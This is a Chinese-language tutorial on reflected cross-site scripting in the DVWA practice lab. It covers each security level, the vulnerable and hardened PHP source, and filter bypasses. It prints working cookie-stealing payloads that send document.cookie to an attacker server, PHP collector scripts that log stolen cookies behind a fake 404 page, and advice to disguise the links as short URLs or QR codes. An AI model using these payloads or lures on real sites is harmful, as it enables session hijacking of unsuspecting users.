赞
踩
XSS(Cross Site Script):全称为跨站脚本攻击,为了与CSS(Cascading Style Sheet)层叠样式表有所区别,所以在安全领域称之为XSS。
XSS攻击:通常指黑客通过HTML注入(控制输入变量),插入恶意脚本,从而在被攻击者浏览网页时,加载并执行攻击者恶意制造的网页程序,通常指JS,实际可包含java、VBscript、ActiveX、Flash、html,攻击成功后,攻击者可能得到一定的权限,私密网页内容,会话,cookie等。
这种行为最初出现之时,所有的XSS攻击案例都是跨域行为,所以叫做跨站脚本。时至今日,随着WEB端功能的复杂化,应用化,是否跨站已经不重要但是XSS这个名字依然留存下来。
我们在许多网页中可能都有搜索栏,在搜索栏中输入关键词查找后,页面回回显全部的或者部分的关键词,且在url中也会出现该关键词,此时该网页可能就存在反射性XSS漏洞。
此时可以做一个简单的测试,测试是否为GET型传参
alert()函数: 弹窗函数
<script>alert(1)</script>
此时漏洞就发现了,我们可以编辑恶意型的代码插入url中执行.
当发现这个漏洞后,我们需要对插入了恶意代码的链接进行变形、比如长链接变短链接、长链接变二维码、图片链接等,目的就是要诱导用户来点击该链接,从而达成攻击的效果。
在LOW等级下,Reflectd型XSS的页面回显如下,在搜索栏里输入123,页面回显123,且在url中123也出现,此时该页面可能存在反射型XSS漏洞,同时也不存在任何防护的安全策略,我们可以实施攻击。
可以查到搜索栏的源代码
在回显Hello 123时使用的为<pre>Hello 123</pre>
此时我们可以考虑打破<pre>
的闭合,在输入中加入其它函数或者标签。
alert() && confirm() && prompt()函数: 都为弹窗函数
我们在url中name后面加入<script>alert(1)</script>
打破<pre>
闭合,此时alert()函数执行,弹出1
此时可以进行一些有攻击性的操作,我们在url中构造出获取被攻击者cookie值的函数,盗取用户的cookie值。
document.location: 指定cookie传送站点
10.113.241.2: 为攻击者服务器
document.cookie: 获取当前用户的cookie值
http://192.168.203.149/DVWA-1.9/vulnerabilities/xss_r/?name=<script>document.location='http://10.113.241.2/xss.php?cookie=' +document.cookie;</script>
xss.php:为LOW等级下获取cookie的处理方法
//xss.php
<?php
$cookie = $_GET['cookie']; //获取cookie变量的值
$log = fopen("cookie.txt","w"); //创建并打开一个cookie.txt的文本权限为写入
fwrite($log,$cookie."\n"); //把cookie的值写入创建的文本
fclose($log); //关闭文本
?>
<h1>404<h1>
<h2>file not found.<h2>
当用户点击此链接时,通过document.cookie函数获取当前用户的cookie值,赋给站点的xss.php文件,xss.php中定义文件操作,将获取的cookie写入cookie.txt文件,此时攻击者就获取了用户的cookie值。
如下是通过转码的恶意链接,用户点击这个链接会执行上述操作
192.168.203.149/DVWA-1.9/vulnerabilities/xss_r/?name=%3Cscript%3Edocument.location%3D%27http%3A%2F%2F10.113.241.2%2Fxss.php%3Fcookie%3D%27+%2Bdocument.cookie%3B%3C%2Fscript%3E
被攻击者点击该链接后就会弹窗到如下页面
要使该链接变的更加有迷惑性,可以进行长短链接的变换,链接生成二维码,或者具有诱惑性的图片链接等。
图中为用户点击恶意链接后在攻击者本地生成的cookie.txt文件,里面已经写入了用户的cookie值。
在DVWA中对于cookie没有防范措施,也就是说,在用户登录的情况下,攻击者可以利用用户的cookie,直接与服务器获取连接
在这块,由于之前的cookie,我在浏览器中清除了一次,在此处为了演示步骤,直接用cookie值连接,原理相同
LOW 等级下的反射性XSS源码:
XSS (Reflected) Source:
array_key_exists()函数: 检查某个数组中是否存在指定的键名,如果键名存在则返回 true,如果键名不存在则返回 false
array_key_exists(key,array):key和array都是必须存在的,key为规定键名,array为规定数组。
在源终GET得到的值是以数组的形式,然后判断GET得到的name是不是空,不为空,执行echo语句。
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
在Medium等级下,必然存在着一些过滤策略,同low等级一样,漏洞的位置是一样的
此时我们用alert()函数,弹窗函数,测试是否能利用<script></script>
标签是否可用
此时发现alert()函数不能弹窗,且页面回显alert(1),此时我们可以分析到<script></script>
未能起到作用,应该是被过滤,我们查看Medium等级下的源码
XSS (Reflected) Source:
str_repalce()函数: 在此处过滤了标签<script></script>
,将GET中输入中的script标签替换为空
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
绕过str_replace()函数:
1.双写绕过,双写<script>
<scri<script>pt>alert(1)</script>
2.大小写字母绕过,str_replace()函数替换的为字符串,此时可以将script标签改为大写绕过
<ScRipt>alert(1)<ScRipt>
同low等级一样,构造的恶意链接为
http://192.168.203.149/DVWA-1.9/vulnerabilities/xss_r/?name=<ScRipt>document.location='http://10.113.241.2/xss1.php?cookie=' +document.cookie;</ScRipt>
与low等级不同的是,<ScRipt></ScRipt>
xss1.php:为Medium等级下获取cookie的处理方法
创建的用户保存用户cookie的文档为,cookie1.txt文档
//xss1.php
<?php
$cookie = $_GET['cookie']; //获取cookie变量的值
$log = fopen("cookie1.txt","w"); //创建并打开一个cookie1.txt的文本权限为写入
fwrite($log,$cookie."\n"); //把cookie的值写入创建的文本
fclose($log); //关闭文本
?>
<h1>404<h1>
<h2>file not found.<h2>
当用户点击此链接时,通过document.cookie函数获取当前用户的cookie值,赋给站点的xss1.php文件,xss1.php中定义文件操作,将获取的cookie写入cookie1.txt文件,此时攻击者就获取了用户的cookie值。
如下是通过转码的恶意链接,用户点击这个链接会执行上述操作
192.168.203.149/DVWA-1.9/vulnerabilities/xss_r/?name=%3CScRipt%3Edocument.location%3D%27http%3A%2F%2F10.113.241.2%2Fxss1.php%3Fcookie%3D%27+%2Bdocument.cookie%3B%3C%2FScRipt%3E
要使该链接变的更加有迷惑性,可以进行长短链接的变换,链接生成二维码,或者具有诱惑性的图片链接等。
此时cookie1.txt中已经写入cookie值
在DVWA中对于cookie没有防范措施,也就是说,在用户登录的情况下,攻击者可以利用用户的cookie,直接与服务器获取连接
在High等级下必然定义了比Medium等级更强的安全策略,我们查看其源码
High等级下的反射性XSS源码:
preg_replace()函数: 函数用于正则表达式的搜索和替换,替换为空,i为不区分大小写
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
绕过方法:
使用其他的标签,<img src=x onerror=alert(1)>
img调用图片,在此处,当图片的src所指的路径不存在图片,则弹出对话框,回显1
由于preg_replace()函数,此时像low和medium等级的构造恶意链接方式不可用
impossible等级防范XSS反射型的一个案例,相当强大
impossible等级源码:
impossible Reflected XSS Source:
htmlspecialchars()函数: 将特殊字符转换为 HTML 实体
token机制: 随机值
<?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $name = htmlspecialchars( $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; } // Generate Anti-CSRF token generateSessionToken(); ?>
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。